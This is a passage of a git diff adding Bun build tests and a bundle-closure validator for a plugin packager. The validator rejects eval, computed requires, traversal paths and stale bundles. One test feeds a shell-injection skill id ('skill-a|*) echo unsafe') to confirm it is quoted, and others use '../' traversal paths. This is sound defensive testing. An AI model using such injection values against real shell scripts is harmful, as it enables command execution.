7_200_000, + sideEffects: "none", + }) + + const skillB = Bun.spawnSync({ + cmd: [process.execPath, join(installedRoot, result.bundles["skill-b"].path)], + cwd: installedRoot, + env: environment, + stdout: "pipe", + stderr: "pipe", + }) + expect(skillB.stderr.toString()).toBe("") + expect(skillB.exitCode).toBe(0) + const proofB = JSON.parse(skillB.stdout.toString()) + expect(proofB.skill).toBe("skill-b") + expect(proofB.moduleShape).toBe("cjs") + expect(proofB.cjsDependencyDuration).toBe("2 hours") + expect(proofB.conditionalExportDependency).toBe("conditional-export-proof") + + // Relocated bundles never reach back outside the artifact at runtime: the + // closed-bundle text contract holds for the exact relocated bytes. + for (const bundle of Object.values(result.bundles)) { + const contents = readFileSync(join(installedRoot, bundle.path), "utf8") + expect(() => validateBundleText("relocated", contents)).not.toThrow() + } +}) + +function bunPayloadFixture(): string { + const fixtureRoot = temporaryDirectory("bun-payload-") + mkdirSync(join(fixtureRoot, "runtime"), { recursive: true }) + cpSync( + join(root, "runtime", "runtime.lock.json"), + join(fixtureRoot, "runtime", "runtime.lock.json"), + ) + cpSync( + join(root, "runtime", "skill-catalog.json"), + join(fixtureRoot, "runtime", "skill-catalog.json"), + ) + cpSync(join(root, "plugin"), join(fixtureRoot, "plugin"), { + recursive: true, + }) + return fixtureRoot +} + +test("Bun-only release admission accepts the complete current payload", () => { + expect(() => validateBunOnlyPayload(bunPayloadFixture())).not.toThrow() +}) + +test("Bun-only release admission rejects a legacy runtime surface", () => { + const fixtureRoot = bunPayloadFixture() + writeFileSync(join(fixtureRoot, "plugin", "runtime", "qjs-legacy"), "legacy\n") + expect(() => validateBunOnlyPayload(fixtureRoot)).toThrow(/legacy runtime surface/) +}) + +test("Bun-only release admission rejects an orphaned launcher", () => { + const fixtureRoot = bunPayloadFixture() + writeFileSync(join(fixtureRoot, "plugin", "bin", "orphan"), "#!/bin/sh\n") + expect(() => validateBunOnlyPayload(fixtureRoot)).toThrow(/launcher inventory/) +}) + +test("repeated builds produce identical bundle, inventory, and notices bytes", () => { + const first = runRepositoryBuild() + const firstInventory = readFileSync(join(root, "plugin", "runtime", "bundle-inventory.json")) + const firstNotices = readFileSync(join(root, "plugin", "THIRD-PARTY-NOTICES.md")) + const firstBundles = Object.fromEntries( + Object.entries(first.bundles).map(([skillId, bundle]) => [ + skillId, + readFileSync(join(root, "plugin", bundle.path)), + ]), + ) + + const second = runRepositoryBuild() + expect(readFileSync(join(root, "plugin", "runtime", "bundle-inventory.json"))).toEqual( + firstInventory, + ) + expect(readFileSync(join(root, "plugin", "THIRD-PARTY-NOTICES.md"))).toEqual(firstNotices) + for (const [skillId, bundle] of Object.entries(second.bundles)) { + expect(readFileSync(join(root, "plugin", bundle.path))).toEqual(firstBundles[skillId]) + } +}) + +function closureFixture(): string { + const fixtureRoot = temporaryDirectory("closure-fixture-") + mkdirSync(join(fixtureRoot, "runtime"), { recursive: true }) + mkdirSync(join(fixtureRoot, "plugin", "runtime"), { recursive: true }) + mkdirSync(join(fixtureRoot, "plugin", "skills", "skill-a"), { + recursive: true, + }) + writeFileSync( + join(fixtureRoot, "runtime", "runtime.lock.json"), + readFileSync(join(root, "runtime", "runtime.lock.json")), + ) + writeFileSync( + join(fixtureRoot, "runtime", "skill-catalog.json"), + `${JSON.stringify({ + schemaVersion: 1, + skills: { + "skill-a": { + entry: "runtime/skill-a.js", + runtimeProfile: "bun", + workspace: "packages/skill-a", + }, + }, + })}\n`, + ) + writeFileSync(join(fixtureRoot, "plugin", "skills", "skill-a", "SKILL.md"), "# skill-a\n") + const bundleContents = "console.log('bundled');\n" + const sha256 = new Bun.CryptoHasher("sha256").update(bundleContents).digest("hex") + const fileName = `skill-a-${sha256.slice(0, 16)}.js` + writeFileSync(join(fixtureRoot, "plugin", "runtime", fileName), bundleContents) + const noticesContents = "# Third-Party Notices\n" + writeFileSync(join(fixtureRoot, "plugin", "THIRD-PARTY-NOTICES.md"), noticesContents) + writeFileSync( + join(fixtureRoot, "plugin", "runtime", "bundle-inventory.sh"), + renderBundleInventoryProjection({ + "skill-a": { + path: `runtime/${fileName}`, + bytes: Buffer.byteLength(bundleContents), + sha256, + }, + }), + ) + writeFileSync( + join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json"), + `${JSON.stringify( + { + schemaVersion: 1, + bundles: { + "skill-a": { + path: `runtime/${fileName}`, + bytes: Buffer.byteLength(bundleContents), + sha256, + }, + }, + notices: { + path: "THIRD-PARTY-NOTICES.md", + bytes: Buffer.byteLength(noticesContents), + sha256: new Bun.CryptoHasher("sha256").update(noticesContents).digest("hex"), + }, + }, + null, + 2, + )}\n`, + ) + return fixtureRoot +} + +test("bundle closure validation accepts a complete fixture", () => { + validateBundleClosure(closureFixture()) +}) + +test("build and closure validation reject unsupported non-workspace runtime entries", async () => { + const fixtureRoot = closureFixture() + const catalogPath = join(fixtureRoot, "runtime", "skill-catalog.json") + const catalog = JSON.parse(readFileSync(catalogPath, "utf8")) + delete catalog.skills["skill-a"].workspace + writeFileSync(catalogPath, `${JSON.stringify(catalog)}\n`) + await expect(buildWorkspaceBundles(fixtureRoot)).rejects.toMatchObject({ + code: "unsupported-entry", + }) + expect(() => validateBundleClosure(fixtureRoot)).toThrow( + /unsupported non-workspace runtime entry for skill-a/, + ) +}) + +test("bundle closure validation fails on a missing mapping before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + inventory.bundles = {} + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/missing bundle mapping for skill-a/) +}) + +test("bundle closure validation fails on a stale bundle before packaging", () => { + const fixtureRoot = closureFixture() + const inventory = JSON.parse( + readFileSync(join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json"), "utf8"), + ) + writeFileSync( + join(fixtureRoot, "plugin", inventory.bundles["skill-a"].path), + "console.log('tampered');\n", + ) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/stale bundle for skill-a/) +}) + +test("bundle closure validation fails on an orphaned bundle before packaging", () => { + const fixtureRoot = closureFixture() + writeFileSync( + join(fixtureRoot, "plugin", "runtime", `skill-a-${"0".repeat(16)}.js`), + "console.log('orphan');\n", + ) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/orphaned bundle/) +}) + +test("bundle closure validation fails on an orphaned mapping before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + inventory.bundles["skill-z"] = inventory.bundles["skill-a"] + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/orphaned mapping for skill-z/) +}) + +test("bundle closure validation fails on a traversal bundle path before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + const record = inventory.bundles["skill-a"] + writeFileSync(join(fixtureRoot, "outside.js"), "console.log('bundled');\n") + record.path = "../outside.js" + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow( + /invalid bundle path \.\.\/outside\.js for skill-a/, + ) +}) + +test("bundle closure validation fails on a digest-mismatched bundle name before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + const record = inventory.bundles["skill-a"] + const mismatchedName = `skill-a-${"0".repeat(16)}.js` + writeFileSync(join(fixtureRoot, "plugin", "runtime", mismatchedName), "console.log('bundled');\n") + record.path = `runtime/${mismatchedName}` + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/invalid bundle path/) +}) + +test("bundle closure validation fails on a malformed bundle digest before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + inventory.bundles["skill-a"].sha256 = "not-a-digest" + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/invalid bundle digest for skill-a/) +}) + +test("bundle closure validation fails on a relocated notices path before packaging", () => { + const fixtureRoot = closureFixture() + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + inventory.notices.path = "../THIRD-PARTY-NOTICES.md" + writeFileSync(inventoryPath, `${JSON.stringify(inventory, null, 2)}\n`) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/invalid notices path/) +}) + +test("packaging admission fails on a stale copied bundle before any archive is produced", () => { + const fixtureRoot = temporaryDirectory("stale-package-copy-") + for (const directory of ["plugin", "runtime", "scripts"]) { + cpSync(join(root, directory), join(fixtureRoot, directory), { + recursive: true, + }) + } + for (const file of ["package.json", "plugin.config.json"]) { + cpSync(join(root, file), join(fixtureRoot, file)) + } + const inventoryPath = join(fixtureRoot, "plugin", "runtime", "bundle-inventory.json") + const inventory = JSON.parse(readFileSync(inventoryPath, "utf8")) + const [skillId] = Object.keys(inventory.bundles) + const bundlePath = join(fixtureRoot, "plugin", inventory.bundles[skillId].path) + writeFileSync(bundlePath, "console.log('tampered');\n") + const packaged = Bun.spawnSync({ + cmd: [process.execPath, "run", "scripts/package.ts"], + cwd: fixtureRoot, + stdout: "pipe", + stderr: "pipe", + }) + expect(packaged.exitCode).not.toBe(0) + expect(packaged.stderr.toString()).toContain(`stale bundle for ${skillId}`) + expect(existsSync(join(fixtureRoot, "dist"))).toBe(false) +}) + +test("bundle inventory quotes skill ids as literal shell case patterns", () => { + const projection = renderBundleInventoryProjection({ + "skill-a|*) echo unsafe": { + path: "runtime/safe.js", + bytes: 1, + sha256: "0".repeat(64), + }, + }) + expect(projection).toContain("\t'skill-a|*) echo unsafe')") +}) + +test("bundle closure validation fails on a stale inventory shell projection", () => { + const fixtureRoot = closureFixture() + writeFileSync( + join(fixtureRoot, "plugin", "runtime", "bundle-inventory.sh"), + "#!/bin/sh\nruntime_inventory_select_bundle() { return 1; }\n", + ) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/stale bundle inventory projection/) +}) + +test("bundle closure validation fails on a missing inventory shell projection", () => { + const fixtureRoot = closureFixture() + rmSync(join(fixtureRoot, "plugin", "runtime", "bundle-inventory.sh")) + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/bundle-inventory\.sh is missing/) +}) + +test("bundle closure validation fails on stale notices before packaging", () => { + const fixtureRoot = closureFixture() + writeFileSync(join(fixtureRoot, "plugin", "THIRD-PARTY-NOTICES.md"), "# Tampered\n") + expect(() => validateBundleClosure(fixtureRoot)).toThrow(/stale third-party notices/) +}) diff --git a/scripts/build.ts b/scripts/build.ts index a64d777..0c7474f 100644 --- a/scripts/build.ts +++ b/scripts/build.ts @@ -1,42 +1,1831 @@ -import { mkdirSync, readFileSync } from "node:fs" -import { join, resolve } from "node:path" +import { + existsSync, + mkdirSync, + mkdtempSync, + readdirSync, + readFileSync, + realpathSync, + rmSync, + statSync, + writeFileSync, +} from "node:fs" +import { builtinModules } from "node:module" +import { tmpdir } from "node:os" +import { dirname, join, relative, resolve } from "node:path" import { loadPluginConfig } from "./plugin-config" +import { compareCodeUnits, pluginPayloadInventory } from "./plugin-files" +import { checkRuntimeCustodyFiles, loadSkillCatalog, shellQuote } from "./runtime-custody-config" -const root = resolve(import.meta.dir, "..") -const sourceRoot = join(root, "runtime", "src") -const pluginRoot = join(root, "plugin") -const outputDirectory = join(pluginRoot, "runtime") -const pluginConfig = loadPluginConfig(root) - -for (const manifestPath of [ - "plugin/.claude-plugin/plugin.json", - "plugin/.codex-plugin/plugin.json", -]) { - const manifest = JSON.parse(readFileSync(join(root, manifestPath), "utf8")) - if (manifest.version !== pluginConfig.version) { - throw new Error(`${manifestPath} version does not match plugin.config.json`) - } -} - -mkdirSync(outputDirectory, { recursive: true }) -const result = await Bun.build({ - entrypoints: [join(sourceRoot, "quickjs-adapter.ts")], - outdir: outputDirectory, - naming: "hello-world.js", - target: "browser", - format: "esm", - external: ["qjs:std"], - minify: true, - banner: `// Generated from runtime/src/. Edit source, then run bun run build. -// x-release-please-start-version -const PLUGIN_VERSION = ${JSON.stringify(pluginConfig.version)}; -// x-release-please-end`, -}) - -if (!result.success) { - for (const log of result.logs) console.error(log) - process.exit(1) -} - -console.log(join(outputDirectory, "hello-world.js")) +const nodeBuiltins = new Set(builtinModules) +const admittedBunBuiltins = new Set(["bun", "bun:sqlite"]) +const runtimeEscapeBuiltins = new Set(["module", "node:module", "vm", "node:vm"]) +const managedBundlePattern = /^([a-z0-9]+(?:-[a-z0-9]+)*)-[a-f0-9]{16}\.js$/ +const permissiveLicenses = new Set([ + "MIT", + "ISC", + "Apache-2.0", + "BSD-2-Clause", + "BSD-3-Clause", + "0BSD", +]) +const lifecycleScripts = ["preinstall", "install", "postinstall"] as const + +/** Precise reason one skill bundle was rejected before materialization. */ +export type BundleValidationCode = + | "missing-entry" + | "unsupported-entry" + | "entry-escape" + | "unresolved-import" + | "unadmitted-import" + | "parent-resolution" + | "native-addon" + | "computed-dynamic-import" + | "computed-require" + | "runtime-loader" + | "dynamic-code-generation" + | "bare-specifier" + | "unexpected-output" + | "bundler-failure" + +/** Typed bundle rejection carrying the failing skill and escape class. */ +export class BundleValidationError extends Error { + readonly code: BundleValidationCode + readonly skillId: string + + constructor(skillId: string, code: BundleValidationCode, message: string) { + super(`bundle ${skillId}: ${message}`) + this.name = "BundleValidationError" + this.code = code + this.skillId = skillId + } +} + +/** Precise reason one dependency was rejected from the pure-JavaScript closure. */ +export type DependencyAdmissionCode = + | "trusted-dependencies" + | "lock-invalid" + | "store-missing" + | "lifecycle-script" + | "native-addon" + | "optional-dependencies" + | "unresolved-peer" + | "license" + +/** Typed dependency rejection carrying the failing package and admission rule. */ +export class DependencyAdmissionError extends Error { + readonly code: DependencyAdmissionCode + + constructor(code: DependencyAdmissionCode, message: string) { + super(`dependency admission: ${message}`) + this.name = "DependencyAdmissionError" + this.code = code + } +} + +/** One admitted third-party package with its notice metadata. */ +export interface AdmittedDependency { + name: string + version: string + license: string + licenseText?: string +} + +/** One materialized bundle identity owned by the generated inventory. */ +export interface BundleRecord { + /** Payload-relative digest-named bundle path. */ + path: string + bytes: number + sha256: string +} + +/** Result of one complete workspace bundle build and materialization. */ +export interface BundleClosureResult { + bundles: Record + notices: BundleRecord +} + +interface InstallResult { + exitCode: number | null + signalCode?: string + stderr?: Uint8Array +} + +interface BundleArtifact { + skillId: string + fileName: string + bytes: number + sha256: string + contents: Uint8Array +} + +function sha256Hex(contents: Uint8Array | string): string { + return new Bun.CryptoHasher("sha256").update(contents).digest("hex") +} + +const bundleTranspiler = new Bun.Transpiler({ loader: "js" }) + +/** + * Preserve JavaScript tokens while blanking comments and literal bodies. + * + * The validator only needs to distinguish executable loader identifiers from + * the same words in strings, comments, templates, and regular expressions. A + * same-length mask keeps call-site offsets aligned with the original bundle. + */ +function executableCodeMask(code: string): string { + const masked = Array(code.length).fill(" ") + for (let index = 0; index < code.length; index++) { + if (/\s/.test(code[index])) masked[index] = code[index] + } + let index = 0 + + const copy = (start: number, end: number): void => { + for (let cursor = start; cursor < end; cursor++) masked[cursor] = code[cursor] + } + const identifierStart = (character: string): boolean => /[A-Za-z_$]/.test(character) + const identifierPart = (character: string): boolean => /[A-Za-z0-9_$]/.test(character) + const regexPrefixKeywords = new Set([ + "await", + "case", + "delete", + "do", + "else", + "in", + "instanceof", + "new", + "return", + "throw", + "typeof", + "void", + "yield", + ]) + const controlConditionKeywords = new Set(["catch", "for", "if", "switch", "while", "with"]) + const directStatementBlockKeywords = new Set(["catch", "do", "else", "finally", "try"]) + + const skipQuoted = (quote: string): void => { + masked[index] = quote + index++ + while (index < code.length) { + if (code[index] === "\\") { + index += 2 + continue + } + if (code[index] === quote) { + masked[index] = quote + index++ + return + } + index++ + } + } + + const skipRegex = (): void => { + index++ + let inClass = false + while (index < code.length) { + if (code[index] === "\\") { + index += 2 + continue + } + if (code[index] === "[") inClass = true + else if (code[index] === "]") inClass = false + else if (code[index] === "/" && !inClass) { + index++ + while (/[A-Za-z]/.test(code[index] ?? "")) index++ + return + } + if (code[index] === "\n" || code[index] === "\r") return + index++ + } + } + + const scanTemplate = (): void => { + index++ + while (index < code.length) { + if (code[index] === "\\") { + index += 2 + continue + } + if (code[index] === "`") { + index++ + return + } + if (code[index] === "$" && code[index + 1] === "{") { + copy(index, index + 2) + index += 2 + scanCode(true) + continue + } + index++ + } + } + + const scanCode = (stopAtTemplateBrace: boolean): void => { + let braceDepth = 0 + let regexAllowed = true + let pendingControlCondition = false + let pendingControlBlock = false + let pendingDirectStatementBlock = false + let pendingFunctionDeclaration = false + let pendingClassDeclarationDepth: number | null = null + let declarationBodyReady = false + const controlConditionParens: boolean[] = [] + const functionParameterParens: boolean[] = [] + const statementBlockBraces: boolean[] = [] + while (index < code.length) { + const character = code[index] + if (/\s/.test(character)) { + index++ + continue + } + if (character === "'" || character === '"') { + skipQuoted(character) + pendingControlBlock = false + regexAllowed = false + continue + } + if (character === "`") { + scanTemplate() + pendingControlBlock = false + regexAllowed = false + continue + } + if (character === "/" && code[index + 1] === "/") { + index += 2 + while (index < code.length && code[index] !== "\n") index++ + continue + } + if (character === "/" && code[index + 1] === "*") { + index += 2 + while (index < code.length && !(code[index] === "*" && code[index + 1] === "/")) + index++ + index = Math.min(code.length, index + 2) + continue + } + if (character === "/" && regexAllowed) { + skipRegex() + pendingControlBlock = false + regexAllowed = false + continue + } + if (identifierStart(character)) { + const start = index++ + while (identifierPart(code[index] ?? "")) index++ + copy(start, index) + const identifier = code.slice(start, index) + let before = start - 1 + while (before >= 0 && /\s/.test(masked[before])) before-- + const isMemberIdentifier = masked[before] === "." || masked[before] === "#" + if (!(pendingControlCondition && identifier === "await")) { + pendingControlCondition = + !isMemberIdentifier && controlConditionKeywords.has(identifier) + } + pendingDirectStatementBlock = + !isMemberIdentifier && directStatementBlockKeywords.has(identifier) + if ( + !isMemberIdentifier && + (identifier === "function" || identifier === "class") && + /(?:^|[;{}])\s*(?:export\s+(?:default\s+)?)?(?:async\s+)?$/.test( + masked.slice(0, start).join(""), + ) + ) { + pendingFunctionDeclaration = identifier === "function" + pendingClassDeclarationDepth = + identifier === "class" ? controlConditionParens.length : null + } + pendingControlBlock = false + regexAllowed = !isMemberIdentifier && regexPrefixKeywords.has(identifier) + continue + } + if (/[0-9]/.test(character)) { + const start = index++ + while (/[A-Za-z0-9_.]/.test(code[index] ?? "")) index++ + copy(start, index) + pendingControlBlock = false + regexAllowed = false + continue + } + if (character === "{") { + let before = index - 1 + while (before >= 0 && /\s/.test(masked[before])) before-- + let isLabeledBlock = false + if ( + masked[before] === ":" && + (statementBlockBraces.length === 0 || statementBlockBraces.at(-1) === true) + ) { + let labelEnd = before - 1 + while (labelEnd >= 0 && /\s/.test(masked[labelEnd])) labelEnd-- + let labelStart = labelEnd + while (labelStart >= 0 && identifierPart(masked[labelStart])) labelStart-- + let boundary = labelStart + while (boundary >= 0 && /\s/.test(masked[boundary])) boundary-- + isLabeledBlock = + labelStart < labelEnd && (boundary < 0 || /[;{}]/.test(masked[boundary])) + } + masked[index++] = character + braceDepth++ + const isDeclarationBlock = + declarationBodyReady || + pendingClassDeclarationDepth === controlConditionParens.length + const isStandaloneBlock = before < 0 || /[;{}]/.test(masked[before]) + statementBlockBraces.push( + pendingControlBlock || + pendingDirectStatementBlock || + isDeclarationBlock || + isStandaloneBlock || + isLabeledBlock, + ) + pendingControlBlock = false + pendingDirectStatementBlock = false + if (isDeclarationBlock) { + declarationBodyReady = false + pendingClassDeclarationDepth = null + } + regexAllowed = true + continue + } + if (character === "}") { + masked[index++] = character + if (stopAtTemplateBrace && braceDepth === 0) return + braceDepth = Math.max(0, braceDepth - 1) + pendingControlBlock = false + regexAllowed = statementBlockBraces.pop() ?? false + continue + } + if ((character === "+" || character === "-") && code[index + 1] === character) { + copy(index, index + 2) + index += 2 + pendingControlBlock = false + regexAllowed = false + continue + } + if (character === "(") { + masked[index++] = character + controlConditionParens.push(pendingControlCondition) + functionParameterParens.push(pendingFunctionDeclaration) + pendingFunctionDeclaration = false + pendingControlCondition = false + pendingDirectStatementBlock = false + pendingControlBlock = false + regexAllowed = true + continue + } + if (character === ")") { + masked[index++] = character + pendingControlCondition = false + pendingControlBlock = controlConditionParens.pop() ?? false + if (functionParameterParens.pop() ?? false) declarationBodyReady = true + regexAllowed = pendingControlBlock + continue + } + masked[index++] = character + pendingControlCondition = false + pendingControlBlock = false + pendingDirectStatementBlock = false + regexAllowed = !/[)\]]/.test(character) + } + } + + scanCode(false) + return masked.join("") +} + +function isPropertyLabel(code: string, start: number, length: number): boolean { + let after = start + length + while (after < code.length && /\s/.test(code[after])) after++ + return code[after] === ":" +} + +function isMethodDeclarationTail(tail: string): boolean { + let cursor = 0 + while (/\s/.test(tail[cursor] ?? "")) cursor++ + if (tail[cursor] !== "(") return false + let depth = 0 + for (; cursor < tail.length; cursor++) { + if (tail[cursor] === "(") depth++ + else if (tail[cursor] === ")") { + depth-- + if (depth === 0) { + cursor++ + while (/\s/.test(tail[cursor] ?? "")) cursor++ + return tail[cursor] === "{" + } + } + } + return false +} + +/** + * Collect every string-literal module specifier used by bundle text. + * + * @param code - JavaScript bundle text + * @returns Sorted unique specifiers from static imports, side-effect imports, dynamic imports, and requires + * + * @example + * ```ts + * collectModuleSpecifiers('import ms from "ms"') // ["ms"] + * ``` + */ +export function collectModuleSpecifiers(code: string): string[] { + const specifiers = new Set(bundleTranspiler.scanImports(code).map((entry) => entry.path)) + const executable = executableCodeMask(code) + for (const match of executable.matchAll(/\b__require\(\s*(["'])(?:(?!\1)[^\\]|\\.)*\1\s*\)/g)) { + const raw = /^__require\(\s*(["'])((?:(?!\1)[^\\]|\\.)*)\1\s*\)/.exec( + code.slice(match.index), + ) + if (raw) specifiers.add(raw[2]) + } + return [...specifiers].sort(compareCodeUnits) +} + +function allowedRuntimeSpecifier(specifier: string): boolean { + if (specifier.startsWith("node:")) return nodeBuiltins.has(specifier.slice("node:".length)) + return nodeBuiltins.has(specifier) || admittedBunBuiltins.has(specifier) +} + +/** + * Reject detectable static and computed import/require text patterns that escape the bundle contract. + * + * @param skillId - Skill whose bundle is validated + * @param code - Final JavaScript bundle text + * @throws {BundleValidationError} On detected loader escapes, computed loads, or non-built-in specifiers + * + * @example + * ```ts + * validateBundleText("skill-a", 'import { join } from "node:path"') + * ``` + */ +export function validateBundleText(skillId: string, code: string): void { + const executable = executableCodeMask(code) + const codeGeneration = /\b(?:eval|Function)\b|\.\s*constructor\b/g + for (const match of executable.matchAll(codeGeneration)) { + if (isPropertyLabel(executable, match.index, match[0].length)) continue + if (match[0] === "Function") { + const before = executable.slice(0, match.index) + const after = executable.slice(match.index + match[0].length) + if (/\binstanceof\s*$/.test(before)) continue + if ( + /^\s*\.\s*prototype\b(?:\s*\.\s*(?:call|apply|bind|name|length))?\s*(?:[;,)\]}]|$)/.test( + after, + ) + ) { + continue + } + } + throw new BundleValidationError( + skillId, + "dynamic-code-generation", + "bundle retains runtime code generation or an escaping reference; eval and callable Function are not allowed", + ) + } + if (/\b(?:createRequire|getBuiltinModule)\b/.test(executable)) { + throw new BundleValidationError( + skillId, + "runtime-loader", + "bundle retains a runtime module-loader escape; createRequire and getBuiltinModule are not allowed", + ) + } + if ( + /\{[^{}]*\b(?:__require|require)\s*:[^{}]*\}\s*=\s*(?:import\.meta|globalThis)\b/.test( + executable, + ) + ) { + throw new BundleValidationError( + skillId, + "runtime-loader", + "bundle retains a destructured runtime module-loader escape", + ) + } + if ( + /\{[^{}]*\[[^{}]*\}\s*=\s*(?:import\.meta|globalThis)\b/.test(executable) + ) { + throw new BundleValidationError( + skillId, + "runtime-loader", + "bundle retains a computed-key destructured ambient runtime escape", + ) + } + for (const match of executable.matchAll(/\b(?:import\s*\.\s*meta|globalThis)\b/g)) { + const tail = executable.slice(match.index + match[0].length) + if (/^\s*(?:\?\s*)?\.\s*[A-Za-z_$]/.test(tail)) continue + throw new BundleValidationError( + skillId, + "runtime-loader", + `bundle retains a computed or escaping ambient runtime reference near "${code.slice(match.index, match.index + 48)}"`, + ) + } + // Every dynamic-load call site must be a single immediately-closed string + // literal: any other argument shape (concatenation, identifier, member + // expression, template) is a runtime-computed load the closure cannot prove. + const literalCallTail = /^\s*(["'])(?:(?!\1)[^\\]|\\.)*\1\s*\)/ + for (const match of executable.matchAll(/\bimport\s*\(/g)) { + if (!literalCallTail.test(executable.slice(match.index + match[0].length))) { + throw new BundleValidationError( + skillId, + "computed-dynamic-import", + `bundle retains a computed dynamic import near "${code.slice(match.index, match.index + 40)}"`, + ) + } + } + for (const match of executable.matchAll(/\b(?:__require|require)\b/g)) { + if (isPropertyLabel(executable, match.index, match[0].length)) continue + let before = match.index - 1 + while (before >= 0 && /\s/.test(executable[before])) before-- + if (executable[before] === ".") { + const owner = executable.slice(0, before) + if (/\b(?:globalThis|import\s*\.\s*meta)\s*(?:\?\s*)?$/.test(owner)) { + throw new BundleValidationError( + skillId, + "runtime-loader", + `bundle retains an ambient runtime module loader near "${code.slice(Math.max(0, match.index - 16), match.index + 32)}"`, + ) + } + continue + } + const tail = executable.slice(match.index + match[0].length) + if (isMethodDeclarationTail(tail)) continue + const callOpen = /^\s*\(/.exec(tail) + if (!callOpen || !literalCallTail.test(tail.slice(callOpen[0].length))) { + throw new BundleValidationError( + skillId, + "computed-require", + `bundle retains a computed runtime require or escaping reference near "${code.slice(match.index, match.index + 40)}"`, + ) + } + } + for (const specifier of collectModuleSpecifiers(code)) { + if (specifier.startsWith("./") || specifier.startsWith("../")) continue + if (runtimeEscapeBuiltins.has(specifier)) { + throw new BundleValidationError( + skillId, + specifier.endsWith("vm") ? "dynamic-code-generation" : "runtime-loader", + `bundle retains the runtime escape built-in "${specifier}"; node:vm and node:module are not admitted`, + ) + } + if (!allowedRuntimeSpecifier(specifier)) { + throw new BundleValidationError( + skillId, + "bare-specifier", + `bundle retains the bare specifier "${specifier}"; only known Node built-ins and admitted Bun runtime modules may remain`, + ) + } + } +} + +function isInsideDirectory(path: string, directory: string): boolean { + return path === directory || path.startsWith(`${directory}/`) +} + +interface AdmittedModuleOwner { + root: string + bareImports: Set + packageImports: string[] +} + +interface CatalogRuntimeSkill { + entry: string + workspace?: string +} + +function isOwnedHelloWorldAdapter(skillId: string, skill: CatalogRuntimeSkill): boolean { + return ( + skillId === "hello-world" && + skill.workspace === undefined && + skill.entry === "runtime/hello-world.js" + ) +} + +function barePackageName(specifier: string): string { + if (!specifier.startsWith("@")) return specifier.split("/", 1)[0] + return specifier.split("/", 2).join("/") +} + +function matchesPackageImport(pattern: string, specifier: string): boolean { + if (pattern === specifier) return true + const wildcard = pattern.indexOf("*") + if (wildcard === -1) return false + const prefix = pattern.slice(0, wildcard) + const suffix = pattern.slice(wildcard + 1) + return ( + specifier.length >= prefix.length + suffix.length && + specifier.startsWith(prefix) && + specifier.endsWith(suffix) + ) +} + +function createClosedResolutionPlugin( + realRoot: string, + skillId: string, + violations: BundleValidationError[], + allowedModuleRoots: string[], + moduleOwners: AdmittedModuleOwner[], +): import("bun").BunPlugin { + const ownersBySpecificity = [...moduleOwners].sort( + (left, right) => right.root.length - left.root.length, + ) + const importerOwners = new Map() + return { + name: "closed-dependency-resolution", + setup(builder) { + const rejectedLoad = { contents: "export default {};", loader: "js" as const } + function resolvedPathViolation( + requestedPath: string, + realResolved: string, + ): BundleValidationError | undefined { + if (requestedPath.endsWith(".node") || realResolved.endsWith(".node")) { + return new BundleValidationError( + skillId, + "native-addon", + `native addon resolved to ${realResolved}`, + ) + } + if (!isInsideDirectory(realResolved, realRoot)) { + return new BundleValidationError( + skillId, + "parent-resolution", + `module resolved outside the repository: ${realResolved}`, + ) + } + if (!allowedModuleRoots.some((root) => isInsideDirectory(realResolved, root))) { + return new BundleValidationError( + skillId, + "unadmitted-import", + `module is outside the workspace production dependency graph: ${relative(realRoot, realResolved)}`, + ) + } + return undefined + } + builder.onResolve({ filter: /^(?:\.{1,2}\/|\/)/ }, (args) => { + let realResolved: string + try { + realResolved = realpathSync( + Bun.resolveSync(args.path, args.resolveDir || dirname(args.importer)), + ) + } catch { + return undefined + } + const violation = resolvedPathViolation(args.path, realResolved) + if (violation) { + violations.push(violation) + return { path: args.path, external: true } + } + return undefined + }) + // Validation only: Bun's own condition-aware resolver still performs the + // build resolution. This probe fails closed before Bun loads a bare asset; + // onLoad below repeats containment against Bun's actual resolved file path. + builder.onResolve({ filter: /^[^./]/ }, (args) => { + const specifier = args.path + if (allowedRuntimeSpecifier(specifier)) return undefined + let realResolved: string + try { + realResolved = realpathSync(Bun.resolveSync(specifier, dirname(args.importer))) + } catch { + violations.push( + new BundleValidationError( + skillId, + "unresolved-import", + `unresolved bare import "${specifier}" from ${relative(realRoot, args.importer)}`, + ), + ) + return { path: specifier, external: true } + } + let importer = args.importer + try { + importer = realpathSync(importer) + } catch { + // The resolver probe above already proved the importer's directory exists. + } + let owner = importerOwners.get(importer) + if (!importerOwners.has(importer)) { + owner = ownersBySpecificity.find((candidate) => + isInsideDirectory(importer, candidate.root), + ) + importerOwners.set(importer, owner) + } + const declaredImport = 